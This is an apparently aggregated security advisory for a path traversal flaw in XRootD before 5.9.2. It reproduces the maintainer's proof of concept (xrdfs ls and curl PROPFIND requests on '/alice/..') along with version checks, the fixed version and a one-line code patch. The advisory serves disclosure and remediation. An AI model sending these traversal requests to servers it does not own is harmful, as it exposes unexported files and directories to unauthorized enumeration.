---
id: "CVE-2026-125113"
page: "https://infrastack.ai/live/CVE-2026-125113"
kind: "vulnerability"
aliases: ["CVE-2026-125113", "GHSA-vj8v-p5vw-m6v5"]
title: "xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern"
severity: "medium"
cvss: 5.3
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "xrootd", "fixed": ["5.9.2"], "affected": "< 5.9.2", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-20", "cwe-22", "http", "package", "python", "self-hosted", "xrootd"]
not_affected_if: ["no-xrootd-server"]
published_at: "2026-04-10T19:50:39+00:00"
first_seen_at: "2026-11-09T22:15:29+00:00"
updated_at: "2026-11-09T22:16:26+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-vj8v-p5vw-m6v5", "first_seen_at": "2026-11-09T22:15:29+00:00"}]
exploit_sources: []
---

# xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

Link for people: https://infrastack.ai/live/CVE-2026-125113 (this .md is for agents)

XRootD lets a remote user list the parent directory of an exported path by appending '/..' to the path in xrdfs ls or HTTP PROPFIND requests. The listing reveals names of unexported files and directories, but the sources say file download through this path is blocked.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:xrootd affected < 5.9.2 fixed 5.9.2

## How to check

- Check the installed version with `python -c "import xrootd; print(xrootd.__version__)"` or `pip show xrootd`
- Look for `all.export` in the xrootd configuration file to see which paths are exported
- Test whether a PROPFIND to an exported path followed by `/..` returns a listing, using a server you own

## Fix

- `xrootd` (PyPI): move to `5.9.2` or later

## Timeline

- 2026-11-09T22:15:29+00:00 ghsa https://github.com/advisories/GHSA-vj8v-p5vw-m6v5

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/xrootd/xrootd/security-advisories/GHSA-vj8v-p5vw-m6v5
- [advisory] Maintainer's advisory: github.com https://github.com/xrootd/xrootd/security/advisories/GHSA-vj8v-p5vw-m6v5
- [fix] Patch: github.com https://github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b

## From the sources

## Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.

This bypass ignores the `all.export` restriction.

## Affected component

`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with ".." (without trailing slash).
Then the path is passed directly to the filesystem layer.

## PoC

### Configuration

- **Configuration file:** 
```conf
xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd
```

- **Filesystem layout on the server:**
```
/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported
```

- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` 

### Steps to reproduce

**Normal behavior (access outside export is denied):**
```bash
$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.
```

**Bypass via trailing `..`:**
```bash
$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt
```
 
**Also exploitable via HTTP PROPFIND:**

```bash
curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"
```
Returns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).

**However, file download via this path traversal is blocked:**
```bash
$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)
```

## Impact
An attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).

File download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

## Suggested fix

In `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:
```cpp
// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;
```

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_